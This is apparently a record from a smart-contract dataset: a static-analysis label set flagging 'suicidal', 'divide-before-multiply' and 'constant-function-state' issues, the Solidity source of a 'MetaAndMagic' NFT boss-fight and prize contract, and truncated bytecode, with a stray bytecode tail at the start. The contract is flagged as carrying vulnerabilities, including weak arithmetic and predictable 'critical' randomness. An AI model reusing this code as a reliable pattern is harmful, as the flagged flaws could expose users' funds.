295b5750600f8211155b1561297457619c40600a830302620864700190506129a3565b600f82118015612985575060148211155b1561299e57617530600f830302620b71b00190506129a3565b600090505b919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106129e957805160ff1916838001178555612a17565b82800160010185558215612a17579182015b82811115612a165782518255916020019190600101906129fb565b5b509050612a249190612a28565b5090565b612a4a91905b80821115612a46576000816000905550600101612a2e565b5090565b905600a165627a7a7230582030025a6a476084c4a094a453822cb957fc91d32369c03775e1b8b793eee535c60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
| 3,739 |
0x8340D1179569E9F0954aa6e5C0326217029E901A
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
contract MetaAndMagic {
uint256 constant public precision = 1e12;
address heroesAddress;
address itemsAddress;
uint256 public currentBoss;
mapping(uint256 => Heroes) public heroes;
mapping(uint256 => Boss) public bosses;
mapping(bytes32 => Fight) public fights;
mapping(uint256 => uint256) public requests;
mapping(uint256 => uint256) public prizeValues;
mapping(uint256 => address) public prizeTokens;
// Oracle information
address VRFcoord;
uint64 subId;
bytes32 keyhash;
/*///////////////////////////////////////////////////////////////
DATA STRUCTURES
//////////////////////////////////////////////////////////////*/
struct Heroes { address owner; uint16 lastBoss; uint32 highestScore;}
struct Fight { uint16 heroId; uint16 boss; bytes10 items; uint32 start; uint32 count; bool claimedScore; bool claimedBoss; }
struct Boss { bytes8 stats; uint16 topScorers; uint56 highestScore; uint56 entries; uint56 winIndex; }
struct Combat { uint256 hp; uint256 phyDmg; uint256 mgkDmg; uint256 phyRes; uint256 mgkRes; }
enum Stat { HP, PHY_DMG, MGK_DMG, MGK_RES, MGK_PEN, PHY_RES, PHY_PEN, ELM }
event FightResult(address sender, uint256 hero, uint256 boss, bytes10 items, uint256 score, bytes32 id);
/*///////////////////////////////////////////////////////////////
ADMIN FUNCTIONS
//////////////////////////////////////////////////////////////*/
/**
@dev Initialize contract
*/
function initialize(address heroes_, address items_) external {
require(msg.sender == _owner());
heroesAddress = heroes_;
itemsAddress = items_;
}
/**
@dev Initialize oracle information
*/
function setUpOracle(address vrf_, bytes32 keyHash, uint64 subscriptionId) external {
require(msg.sender == _owner());
VRFcoord = vrf_;
keyhash = keyHash;
subId = subscriptionId;
}
/**
@dev Add next week boss and move it
*/
function addBoss(address prizeToken, uint256 halfPrize, uint256 hp_, uint256 atk_, uint256 mgk_, uint256 mod_, uint256 element_) external {
require(msg.sender == _owner(), "not allowed");
uint256 boss = currentBoss + 1;
prizeValues[boss] = halfPrize;
prizeTokens[boss] = prizeToken;
bosses[boss] = Boss({stats: bytes8(abi.encodePacked(uint16(hp_),uint16(atk_),uint16(mgk_), uint8(element_), uint8(mod_))), topScorers:0, highestScore: 0, entries:0, winIndex:0});
}
function moveBoss() external {
require(msg.sender == _owner(), "not allowed");
require(bosses[currentBoss + 1].stats != bytes8(0), "not set");
currentBoss++;
}
/*///////////////////////////////////////////////////////////////
STAKING FUNCTIONS
//////////////////////////////////////////////////////////////*/
/**
@dev Stake and or unstake a list of heroes
*/
function manageHero(uint256[] calldata toStake, uint256[] calldata toUnstake) external {
uint256 len = toStake.length;
for (uint256 i = 0; i < len; i++) {
stake(toStake[i]);
}
len = toUnstake.length;
for (uint256 i = 0; i < len; i++) {
unstake(toUnstake[i]);
}
}
/**
@dev Stake a single hero
*/
function stake(uint256 heroId) public {
require(currentBoss != 0, "not started");
_pull(heroesAddress, heroId);
heroes[heroId] = Heroes(msg.sender, 0, 0);
}
/**
@dev Unstake a single hero
*/
function unstake(uint256 heroId) public {
Heroes memory hero = heroes[heroId];
require(msg.sender == hero.owner, "not owner");
require(hero.lastBoss < currentBoss,"alredy entered");
// transfer NFT
_push(heroesAddress, hero.owner, heroId);
delete heroes[heroId];
}
/*///////////////////////////////////////////////////////////////
FIGHT FUNCTIONS
//////////////////////////////////////////////////////////////*/
/**
@dev Fight this week's boss
*/
function fight(uint256 heroId, bytes10 items) public returns(bytes32 fightId) {
Heroes memory hero = heroes[heroId];
require(msg.sender == hero.owner, "not owner");
_validateItems(items);
uint256 currBoss = currentBoss;
Boss memory boss = bosses[currBoss];
require(boss.stats != bytes8(0), "invalid boss");
uint256 score = _calculateScore(currBoss, boss.stats, heroId, items, msg.sender);
if (hero.lastBoss < currBoss) {
hero.lastBoss = uint16(currBoss);
hero.highestScore = 0;
}
fightId = getFightId(heroId, currBoss, items, msg.sender);
require(fights[fightId].heroId == 0, "already fought");
Fight memory fh = Fight(uint16(heroId), uint16(currBoss), items, 0, 0, false, false);
if (score == boss.highestScore) boss.topScorers++; // Tied to the highest score;
// This is a new highscore, so we reset the leaderboard
if (score > boss.highestScore) {
boss.highestScore = uint32(score);
boss.topScorers = 1;
}
// Getting Raffle tickets
if (score > hero.highestScore) {
uint32 diff = uint32(score - hero.highestScore);
fh.start = uint32(boss.entries) + 1;
fh.count = diff;
boss.entries += diff;
hero.highestScore = uint32(score);
}
bosses[currBoss] = boss;
heroes[heroId] = hero;
fights[fightId] = fh;
emit FightResult(msg.sender, heroId, currBoss, items, score, fightId);
}
/**
@dev Get the boss drop item from this week
*/
function getBossDrop(uint256 heroId_, uint boss_, bytes10 items_) external returns (uint256 bossItemId){
bytes32 fightId = getFightId(heroId_, boss_, items_, msg.sender);
Fight memory fh = fights[fightId];
require(fh.boss == currentBoss, "claim over");
require(fh.heroId != 0, "non existent fight");
require(!fh.claimedBoss, "already claimed");
uint256 score = _calculateScore(fh.boss, bosses[fh.boss].stats, fh.heroId, fh.items, msg.sender);
require(score > 0, "not won");
uint16[5] memory _items = _unpackItems(fh.items);
for (uint256 i = 0; i < 5; i++) {
if (_items[i] == 0) break;
// Burn the item if it's not burnt already
if (IERC721(itemsAddress).ownerOf(_items[i]) != address(0)) require(MetaAndMagicLike(itemsAddress).burnFrom(msg.sender, _items[i]), "burn failed");
}
fights[fightId].claimedBoss = true;
// Boss drops supplies are checked at the itemsAddress
bossItemId = MetaAndMagicLike(fh.boss == 10 ? heroesAddress : itemsAddress).mintDrop(boss_, msg.sender);
}
/**
@dev Get the prize for having the highest score
*/
function getPrize(uint256 heroId_, uint256 boss_, bytes10 items_) external {
bytes32 fightId = getFightId(heroId_, boss_, items_, msg.sender);
Fight memory fh = fights[fightId];
Boss memory boss = bosses[fh.boss];
require(fh.boss < currentBoss, "not finished");
require(!fh.claimedScore, "already claimed");
uint256 score = _calculateScore(fh.boss, boss.stats, fh.heroId, fh.items, msg.sender);
require(score == boss.highestScore && boss.highestScore != 0, "not high score");
fights[fightId].claimedScore = true;
require(IERC20(prizeTokens[fh.boss]).transfer(msg.sender, prizeValues[fh.boss] / boss.topScorers));
}
/**
@dev Get the raffle prize
*/
function getRafflePrize(uint256 heroId_, uint256 boss_, bytes10 items_) external {
bytes32 fightId = getFightId(heroId_, boss_, items_, msg.sender);
Fight memory fh = fights[fightId];
Boss memory boss = bosses[fh.boss];
require(fh.boss < currentBoss, "not finished");
require(boss.highestScore > 0, "not fought");
require(boss.winIndex != 0, "not raffled");
require(fh.start <= boss.winIndex && (fh.start + fh.count > boss.winIndex), "not winner");
fights[fightId].count = 0;
require(IERC20(prizeTokens[fh.boss]).transfer(msg.sender, prizeValues[fh.boss]));
}
/**
@dev Request chainlink oracle for the week's raffle
*/
function requestRaffleResult(uint256 boss_) external {
require(boss_ < currentBoss, "not finished");
require(requests[boss_] == 0 || msg.sender == _owner(), "already requested");
uint256 reqId = VRFCoordinatorV2Interface(VRFcoord).requestRandomWords(keyhash, subId, 3, 200000, 1);
requests[boss_] = reqId;
}
/**
@dev Chainlink specific function to fulfill the randomness request
*/
function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external {
require(msg.sender == VRFcoord, "not allowed");
for (uint256 index = currentBoss; index > 0; index--) {
if (requests[index] == requestId) {
Boss memory boss = bosses[index];
bosses[index].winIndex = uint56(randomWords[0] % uint256(boss.entries) + 1); // 1 -> raffleEntry
}
}
}
/*///////////////////////////////////////////////////////////////
VIEW FUNCTIONS
//////////////////////////////////////////////////////////////*/
function getScore(bytes32 fightId, address player) external view returns(uint256 score) {
Fight memory fh = fights[fightId];
require(fh.boss != 0);
score = _calculateScore(fh.boss, bosses[fh.boss].stats, fh.heroId, fh.items,player);
}
function getFightId(uint256 hero_, uint256 boss_, bytes10 items_, address owner_) public pure returns (bytes32 id) {
id = keccak256(abi.encode(hero_, boss_, items_, owner_));
}
/*///////////////////////////////////////////////////////////////
INTERNAL FUNCTIONS
//////////////////////////////////////////////////////////////*/
function _calculateScore(uint256 boss, bytes8 bossStats, uint256 heroId, bytes10 packedItems, address fighter) internal view virtual returns (uint256) {
bytes10[6] memory stats = MetaAndMagicLike(heroesAddress).getStats(heroId);
// Start with empty combat
Combat memory combat = Combat(0,0,0,precision,precision);
// Tally Hero modifies the combat memory inplace
_tally(combat, stats, bossStats);
uint16[5] memory items_ = _unpackItems(packedItems);
for (uint256 i = 0; i < 5; i++) {
if (items_[i] == 0) break;
stats = MetaAndMagicLike(itemsAddress).getStats(items_[i]);
_tally(combat, stats, bossStats);
}
uint256 crit = _critical(heroId,boss,packedItems,fighter);
return _getResult(combat, bossStats, crit);
}
function _getResult(Combat memory combat, bytes10 bossStats, uint256 crit) internal pure returns (uint256) {
uint256 bossAtk = combat.phyRes * _get(bossStats, Stat.PHY_DMG) / precision;
uint256 bossMgk = combat.mgkRes * _get(bossStats, Stat.MGK_DMG) / precision;
uint256 totalHeroAttack = combat.phyDmg + combat.mgkDmg + ((combat.phyDmg + combat.mgkDmg) * crit / 1e18);
if (bossAtk + bossMgk > combat.hp || totalHeroAttack < _get(bossStats, Stat.HP)) return 0;
return totalHeroAttack - _get(bossStats, Stat.HP) + combat.hp - bossAtk + bossMgk;
}
/// @dev This is the core function for calculating scores
function _tally(Combat memory combat, bytes10[6] memory stats , bytes8 bossStats) internal pure {
uint256 bossPhyPen = _get(bossStats, Stat.PHY_PEN);
uint256 bossMgkPen = _get(bossStats, Stat.MGK_PEN);
bool bossPhyRes = _get(bossStats, Stat.PHY_RES) == 1;
bool bossMgkRes = _get(bossStats, Stat.MGK_RES) == 1;
uint256 itemElement = _get(stats[5], Stat.ELM);
uint256 bossElement = uint8(uint64(bossStats) >> 8);
for (uint256 i = 0; i < 6; i++) {
// Sum HP
combat.hp += _get(stats[i], Stat.HP);
combat.phyDmg += _sumAtk(stats[i], Stat.PHY_DMG, Stat.PHY_PEN, bossPhyRes);
uint256 mgk = _sumAtk(stats[i], Stat.MGK_DMG, Stat.MGK_PEN, bossMgkRes);
uint256 adv = _getAdv(itemElement, bossElement);
combat.mgkDmg += adv == 3 ? 0 : mgk * (adv == 1 ? 2 : 1) / (adv == 2 ? 2 : 1);
combat.phyRes = _stack(combat.phyRes, stats[i], Stat.PHY_RES, bossPhyPen);
combat.mgkRes = _stack(combat.mgkRes, stats[i], Stat.MGK_RES, bossMgkPen);
combat.mgkRes = stackElement(combat.mgkRes, itemElement, bossElement);
}
}
function _critical(uint256 hero_, uint256 boss_, bytes10 items_, address fighter) internal pure returns (uint256 draw) {
draw = uint256(getFightId(hero_, boss_, items_, fighter)) % 0.25e18 + 1;
}
function _get(bytes10 src, Stat stat) internal pure returns (uint256) {
uint8 st = uint8(stat);
if (st == 7) return uint8(uint80(src)); // Element
if (st < 3) return uint16(bytes2(src << (st * 16))); // Hp, PhyDmg or MgkDmg
return (uint16(bytes2(src << (48))) & (1 << st - 3)) >> st - 3;
}
function _getAdv(uint256 ele, uint256 oppEle) internal pure returns (uint256 adv) {
// Returns 0 if elements don't iteract
if (ele == 0 || oppEle == 0) return 0;
// Returns 1 if ele has advantage
if (ele == oppEle - 1 || (ele == 4 && oppEle == 1)) return adv = 1;
// // Returns 2 if ele has disavantage
if (ele - 1 == oppEle || (ele == 1 && oppEle == 4)) return adv = 2;
// Returns 3 if ele is the same
if (ele == oppEle) return adv = 3;
}
function stackElement(uint256 val, uint256 ele, uint256 oppEle) internal pure returns (uint256) {
uint256 adv = _getAdv(ele, oppEle);
if (adv == 0) return val;
if (adv == 3) return 0;
if (adv == 1) return val * precision / (2 * precision);
return val * 2 * precision / precision;
}
function _sumAtk(bytes10 src, Stat stat, Stat pen, bool bossRes) internal pure returns (uint256 sum) {
sum = _get(src, stat) / (((_get(src, pen) == 0) && bossRes) ? 2 : 1);
}
function _stack(uint256 val, bytes10 src, Stat res, uint256 oppPen) internal pure returns (uint256) {
return _stack(val, _get(src, res), oppPen);
}
function _stack(uint256 val, uint256 res, uint256 oppPen) internal pure returns (uint256 ret) {
ret = val * ((oppPen == 0) && (res == 1) ? 0.5e12: precision) / precision;
}
function _getPackedItems(uint16[5] memory items) internal pure returns(bytes10 packed) {
packed = bytes10(abi.encodePacked(items[0], items[1], items[2], items[3], items[4]));
}
function _validateItems(bytes10 packedItems) internal view {
uint16[5] memory items = _unpackItems(packedItems);
for (uint256 i = 1; i < items.length; i++) {
require(items[i - 1] == 0 ? items[i] == 0 : items[i - 1] > items[i], "invalid items");
if (items[i] != 0) require(IERC721(itemsAddress).ownerOf(items[i]) == msg.sender, "not item owner");
}
}
function _unpackItems(bytes10 items) internal pure returns(uint16[5] memory unpacked) {
unpacked[0] = uint16(bytes2(items));
unpacked[1] = uint16(bytes2(items << 16));
unpacked[2] = uint16(bytes2(items << 32));
unpacked[3] = uint16(bytes2(items << 48));
unpacked[4] = uint16(bytes2(items << 64));
}
function _pull(address token, uint256 id) internal {
require(IERC721(token).transferFrom(msg.sender, address(this), id), "failed transfer");
}
function _push(address token, address to_, uint256 id) internal {
require(IERC721(token).transferFrom(address(this), address(to_), id), "transfer failed");
}
function _owner() internal view returns (address owner_) {
bytes32 slot = bytes32(0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103);
assembly {
owner_ := sload(slot)
}
}
}
interface MetaAndMagicLike {
function getStats(uint256 id_) external view returns(bytes10[6] memory stats);
function mintDrop(uint256 bossId, address to_) external returns(uint256 id);
function burnFrom(address from, uint256 id) external returns (bool);
}
interface IERC721 {
function transferFrom(address from_, address to_, uint256 id_) external returns(bool);
function ownerOf(uint256 id) external view returns(address);
}
interface IERC20 {
function transfer(address to_, uint256 id_) external returns(bool);
}
interface VRFCoordinatorV2Interface {
function requestRandomWords(
bytes32 keyHash,
uint64 subId,
uint16 minimumRequestConfirmations,
uint32 callbackGasLimit,
uint32 numWords
) external returns (uint256 requestId);
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806381d12c58116100c3578063a694fc3a1161007c578063a694fc3a1461041a578063a8d4a03b1461042d578063b3897c3b1461049f578063b90e1a1e146104b2578063d3b5dc3b146104c5578063d528acf1146104d157600080fd5b806381d12c58146102ee578063856f8c351461030e578063878a808b1461031757806391d056661461033757806396b9d24d146103f45780639b8f43611461040757600080fd5b8063485cc95511610115578063485cc9551461024057806349cf508414610253578063603ce1fe146102745780636813925e14610287578063771a5fa2146102c85780637f2c9aab146102db57600080fd5b806309d25f37146101525780631fe543e314610167578063204597e01461017a5780632e17de781461021a57806332ed53911461022d575b600080fd5b610165610160366004612de0565b6104d9565b005b610165610175366004612d02565b6107f0565b6101d1610188366004612cab565b60046020526000908152604090205460c081901b9061ffff600160401b8204169066ffffffffffffff600160501b8204811691600160881b8104821691600160c01b9091041685565b604080516001600160c01b0319909616865261ffff909416602086015266ffffffffffffff928316938501939093528116606084015216608082015260a0015b60405180910390f35b610165610228366004612cab565b61092f565b61016561023b366004612ae9565b610a3a565b61016561024e366004612ab0565b610aa3565b610266610261366004612e0e565b610afe565b604051908152602001610211565b610266610282366004612cc4565b610b54565b6102b0610295366004612cab565b6008602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610211565b6101656102d6366004612b38565b610c30565b6102666102e9366004612de0565b610e05565b6102666102fc366004612cab565b60066020526000908152604090205481565b61026660025481565b610266610325366004612cab565b60076020526000908152604090205481565b6103a2610345366004612cab565b60056020526000908152604090205461ffff8082169162010000810490911690640100000000810460b01b9063ffffffff600160701b8204811691600160901b81049091169060ff600160b01b8204811691600160b81b90041687565b6040805161ffff98891681529790961660208801526001600160b01b03199094169486019490945263ffffffff918216606086015216608084015290151560a0830152151560c082015260e001610211565b610165610402366004612de0565b6112a7565b610165610415366004612c1d565b6115d3565b610165610428366004612cab565b611654565b61047161043b366004612cab565b6003602052600090815260409020546001600160a01b03811690600160a01b810461ffff1690600160b01b900463ffffffff1683565b604080516001600160a01b03909416845261ffff909216602084015263ffffffff1690820152606001610211565b6102666104ad366004612dbb565b611722565b6101656104c0366004612cab565b611c7c565b61026664e8d4a5100081565b610165611dde565b60006104e784848433610afe565b6000818152600560209081526040808320815160e081018352905461ffff808216835262010000820481168386018181526001600160b01b0319640100000000850460b01b168587015263ffffffff600160701b85048116606080880191909152600160901b860490911660808088019190915260ff600160b01b87048116151560a0808a0191909152600160b81b90970416151560c080890191909152938a52600489529887902087519586018852546001600160c01b03199381901b939093168552600160401b830484169785019790975266ffffffffffffff600160501b8304811696850196909652600160881b8204861696840196909652600160c01b90049093169481019490945260025492519495509316106106245760405162461bcd60e51b815260040161061b90612e7d565b60405180910390fd5b8160a00151156106685760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e4818db185a5b5959608a1b604482015260640161061b565b600061068f836020015161ffff168360000151856000015161ffff16866040015133611ea1565b9050816040015166ffffffffffffff16811480156106b95750604082015166ffffffffffffff1615155b6106f65760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420686967682073636f726560901b604482015260640161061b565b6000848152600560209081526040808320805460ff60b01b1916600160b01b179055858201805161ffff9081168552600884528285205487850151925182168652600790945291909320546001600160a01b039092169263a9059cbb923392610760921690612f36565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156107a657600080fd5b505af11580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de9190612c89565b6107e757600080fd5b50505050505050565b6009546001600160a01b0316331461081a5760405162461bcd60e51b815260040161061b90612e58565b6002545b801561092a57600081815260066020526040902054831415610918576000818152600460209081526040808320815160a08101835290546001600160c01b031960c082901b16825261ffff600160401b8204169382019390935266ffffffffffffff600160501b8404811692820192909252600160881b8304821660608201819052600160c01b90930490911660808201528451909285916108c2576108c26130ad565b60200260200101516108d49190613057565b6108df906001612ed4565b6000838152600460205260409020805466ffffffffffffff92909216600160c01b0266ffffffffffffff60c01b19909216919091179055505b8061092281613003565b91505061081e565b505050565b600081815260036020908152604091829020825160608101845290546001600160a01b038116808352600160a01b820461ffff1693830193909352600160b01b900463ffffffff169281019290925233146109b85760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015260640161061b565b600254816020015161ffff1610610a025760405162461bcd60e51b815260206004820152600e60248201526d185b1c99591e48195b9d195c995960921b604482015260640161061b565b6000548151610a1b916001600160a01b0316908461208d565b50600090815260036020526040902080546001600160d01b0319169055565b600080516020613108833981519152546001600160a01b0316336001600160a01b031614610a6757600080fd5b60098054600a9390935567ffffffffffffffff909116600160a01b026001600160e01b03199092166001600160a01b0390931692909217179055565b600080516020613108833981519152546001600160a01b0316336001600160a01b031614610ad057600080fd5b600080546001600160a01b039384166001600160a01b03199182161790915560018054929093169116179055565b60408051602081018690529081018490526001600160b01b0319831660608201526001600160a01b038216608082015260009060a001604051602081830303815290604052805190602001209050949350505050565b6000828152600560209081526040808320815160e081018352905461ffff8082168352620100008204169382018490526001600160b01b0319640100000000820460b01b169282019290925263ffffffff600160701b830481166060830152600160901b830416608082015260ff600160b01b83048116151560a0830152600160b81b909204909116151560c082015290610bee57600080fd5b60208082015161ffff9081166000818152600490935260409283902054845193850151610c2894929360c09290921b929091169087611ea1565b949350505050565b600080516020613108833981519152546001600160a01b0316336001600160a01b031614610c705760405162461bcd60e51b815260040161061b90612e58565b60006002546001610c819190612ed4565b60008181526007602090815260408083208b905560089091529081902080546001600160a01b0319166001600160a01b038c16179055805160a081019091526001600160f01b031960f089811b821660c084015288811b821660c284015287901b1660c48201526001600160f81b031960f885811b821660c684015286901b1660c78201529091508060c88101604051602081830303815290604052610d2690612fcc565b6001600160c01b031916815260006020808301829052604080840183905260608085018490526080948501849052958352600482529182902084518154928601519386015196860151959094015160c09490941c69ffffffffffffffffffff1990921691909117600160401b61ffff9093169290920291909117600160501b600160c01b031916600160501b66ffffffffffffff9586160266ffffffffffffff60881b191617600160881b938516939093029290921766ffffffffffffff60c01b1916600160c01b939091169290920291909117905550505050505050565b600080610e1485858533610afe565b600081815260056020908152604091829020825160e081018452905461ffff8082168352620100008204169282018390526001600160b01b0319640100000000820460b01b169382019390935263ffffffff600160701b840481166060830152600160901b840416608082015260ff600160b01b84048116151560a0830152600160b81b909304909216151560c0830152600254929350909114610ee75760405162461bcd60e51b815260206004820152600a60248201526931b630b4b69037bb32b960b11b604482015260640161061b565b805161ffff16610f2e5760405162461bcd60e51b81526020600482015260126024820152711b9bdb88195e1a5cdd195b9d08199a59da1d60721b604482015260640161061b565b8060c0015115610f725760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e4818db185a5b5959608a1b604482015260640161061b565b60208082015161ffff90811660008181526004909352604080842054855191860151610fa99460c09290921b929091169033611ea1565b905060008111610fe55760405162461bcd60e51b81526020600482015260076024820152663737ba103bb7b760c91b604482015260640161061b565b6000610ff48360400151612153565b905060005b60058110156111c857818160058110611014576110146130ad565b602002015161ffff16611026576111c8565b6001546000906001600160a01b0316636352211e84846005811061104c5761104c6130ad565b60200201516040516001600160e01b031960e084901b16815261ffff909116600482015260240160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c39190612a93565b6001600160a01b0316146111b6576001546001600160a01b03166379cc6790338484600581106110f5576110f56130ad565b60200201516040516001600160e01b031960e085901b1681526001600160a01b03909216600483015261ffff166024820152604401602060405180830381600087803b15801561114457600080fd5b505af1158015611158573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117c9190612c89565b6111b65760405162461bcd60e51b815260206004820152600b60248201526a189d5c9b8819985a5b195960aa1b604482015260640161061b565b806111c08161303c565b915050610ff9565b506000848152600560209081526040909120805460ff60b81b1916600160b81b179055830151600a61ffff9091161461120c576001546001600160a01b0316611219565b6000546001600160a01b03165b604051630355993160e41b8152600481018990523360248201526001600160a01b039190911690633559931090604401602060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129b9190612ce9565b98975050505050505050565b60006112b584848433610afe565b6000818152600560209081526040808320815160e081018352905461ffff808216835262010000820481168386018181526001600160b01b0319640100000000850460b01b168587015263ffffffff600160701b85048116606080880191909152600160901b860490911660808088019190915260ff600160b01b87048116151560a0808a0191909152600160b81b90970416151560c080890191909152938a52600489529887902087519586018852546001600160c01b03199381901b939093168552600160401b830484169785019790975266ffffffffffffff600160501b8304811696850196909652600160881b8204861696840196909652600160c01b90049093169481019490945260025492519495509316106113e95760405162461bcd60e51b815260040161061b90612e7d565b6000816040015166ffffffffffffff16116114335760405162461bcd60e51b815260206004820152600a6024820152691b9bdd08199bdd59da1d60b21b604482015260640161061b565b608081015166ffffffffffffff1661147b5760405162461bcd60e51b815260206004820152600b60248201526a1b9bdd081c9859999b195960aa1b604482015260640161061b565b806080015166ffffffffffffff16826060015163ffffffff16111580156114c75750806080015166ffffffffffffff16826080015183606001516114bf9190612eec565b63ffffffff16115b6115005760405162461bcd60e51b815260206004820152600a6024820152693737ba103bb4b73732b960b11b604482015260640161061b565b6000838152600560209081526040808320805463ffffffff60901b19169055848201805161ffff90811685526008845282852054915116845260079092529182902054915163a9059cbb60e01b815233600482015260248101929092526001600160a01b03169063a9059cbb90604401602060405180830381600087803b15801561158a57600080fd5b505af115801561159e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c29190612c89565b6115cb57600080fd5b505050505050565b8260005b81811015611612576116008686838181106115f4576115f46130ad565b90506020020135611654565b8061160a8161303c565b9150506115d7565b5081905060005b818110156115cb57611642848483818110611636576116366130ad565b9050602002013561092f565b8061164c8161303c565b915050611619565b6002546116915760405162461bcd60e51b815260206004820152600b60248201526a1b9bdd081cdd185c9d195960aa1b604482015260640161061b565b6000546116a7906001600160a01b03168261219a565b60408051606081018252338152600060208083018281528385018381529583526003909152929020905181549251935163ffffffff16600160b01b0263ffffffff60b01b1961ffff95909516600160a01b026001600160b01b03199094166001600160a01b0392909216919091179290921792909216179055565b6000828152600360209081526040808320815160608101835290546001600160a01b038116808352600160a01b820461ffff1694830194909452600160b01b900463ffffffff16918101919091529033146117ab5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015260640161061b565b6117b483612262565b600254600081815260046020908152604091829020825160a08101845290546001600160c01b031960c082901b1680835261ffff600160401b8304169383019390935266ffffffffffffff600160501b8204811694830194909452600160881b810484166060830152600160c01b900490921660808301526118675760405162461bcd60e51b815260206004820152600c60248201526b696e76616c696420626f737360a01b604482015260640161061b565b600061187a838360000151898933611ea1565b905082846020015161ffff16101561189e5761ffff83166020850152600060408501525b6118aa87848833610afe565b60008181526005602052604090205490955061ffff16156118fe5760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e48199bdd59da1d60921b604482015260640161061b565b6040805160e08101825261ffff808a168252851660208201526001600160b01b03198816818301526000606082018190526080820181905260a0820181905260c08201529083015166ffffffffffffff1682141561196e57602083018051906119668261301a565b61ffff169052505b826040015166ffffffffffffff168211156119975763ffffffff82166040840152600160208401525b846040015163ffffffff16821115611a19576000856040015163ffffffff16836119c19190612f92565b9050836060015160016119d49190612eec565b63ffffffff9081166060808501919091529082166080840181905290850180516119ff908390612f14565b66ffffffffffffff169052505063ffffffff821660408601525b60008481526004602090815260408083208651815484890151848a01516060808c01516080808e015166ffffffffffffff908116600160c01b0266ffffffffffffff60c01b19938216600160881b0266ffffffffffffff60881b1992909616600160501b0291909116600160501b600160c01b031961ffff978816600160401b0269ffffffffffffffffffff1990991660c09a8b1c179890981797909716969096179390931716939093179094558e8752600386528487208c5181548e8901518f89015163ffffffff908116600160b01b90810263ffffffff60b01b19938816600160a01b026001600160b01b03199095166001600160a01b03909616959095179390931791909116929092179092558e8952600588529786902089518154988b01518b890151958c0151978c015160a08d0151978d01511515600160b81b0260ff60b81b1998151590950260ff60b01b19918d16600160901b029190911664ffffffffff60901b1999909c16600160701b0263ffffffff60701b1960b09890981c640100000000029790971671ffffffffffffffffffffffffffff0000000019928716620100000263ffffffff19909c1693909616929092179990991798909816929092179290921793909316959095179390931792909216929092179055517f5cd7b4e6ac4b4756d574743a419c03b4db84645bd85707b345c7df8e32819c3a90611c699033908b9088908c9088908d906001600160a01b03969096168652602086019490945260408501929092526001600160b01b0319166060840152608083015260a082015260c00190565b60405180910390a1505050505092915050565b6002548110611c9d5760405162461bcd60e51b815260040161061b90612e7d565b6000818152600660205260409020541580611cd85750600080516020613108833981519152546001600160a01b0316336001600160a01b0316145b611d185760405162461bcd60e51b8152602060048201526011602482015270185b1c9958591e481c995c5d595cdd1959607a1b604482015260640161061b565b600954600a546040516305d3b1d360e41b81526004810191909152600160a01b820467ffffffffffffffff1660248201526003604482015262030d406064820152600160848201526000916001600160a01b031690635d3b1d309060a401602060405180830381600087803b158015611d9057600080fd5b505af1158015611da4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dc89190612ce9565b6000928352600660205260409092209190915550565b600080516020613108833981519152546001600160a01b0316336001600160a01b031614611e1e5760405162461bcd60e51b815260040161061b90612e58565b6002546000906004908290611e34906001612ed4565b815260208101919091526040016000205460c01b6001600160c01b0319161415611e8a5760405162461bcd60e51b81526020600482015260076024820152661b9bdd081cd95d60ca1b604482015260640161061b565b60028054906000611e9a8361303c565b9190505550565b60008054604051637b30396560e01b81526004810186905282916001600160a01b031690637b3039659060240160c06040518083038186803b158015611ee657600080fd5b505afa158015611efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1e9190612b8d565b905060006040518060a0016040528060008152602001600081526020016000815260200164e8d4a51000815260200164e8d4a510008152509050611f63818389612459565b6000611f6e86612153565b905060005b600581101561205957818160058110611f8e57611f8e6130ad565b602002015161ffff16611fa057612059565b6001546001600160a01b0316637b303965838360058110611fc357611fc36130ad565b60200201516040516001600160e01b031960e084901b16815261ffff909116600482015260240160c06040518083038186803b15801561200257600080fd5b505afa158015612016573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203a9190612b8d565b935061204783858b612459565b806120518161303c565b915050611f73565b506000612068888b898961267d565b905061207f836001600160c01b03198b16836126b2565b9a9950505050505050505050565b6040516323b872dd60e01b81523060048201526001600160a01b038381166024830152604482018390528416906323b872dd90606401602060405180830381600087803b1580156120dd57600080fd5b505af11580156120f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121159190612c89565b61092a5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015260640161061b565b61215b612a29565b60f082901c815261ffff60e083901c8116602083015260d083901c8116604083015260c083901c8116606083015260b09290921c909116608082015290565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd90606401602060405180830381600087803b1580156121e857600080fd5b505af11580156121fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122209190612c89565b61225e5760405162461bcd60e51b815260206004820152600f60248201526e3330b4b632b2103a3930b739b332b960891b604482015260640161061b565b5050565b600061226d82612153565b905060015b600581101561092a5781612287600183612f92565b6005811061229757612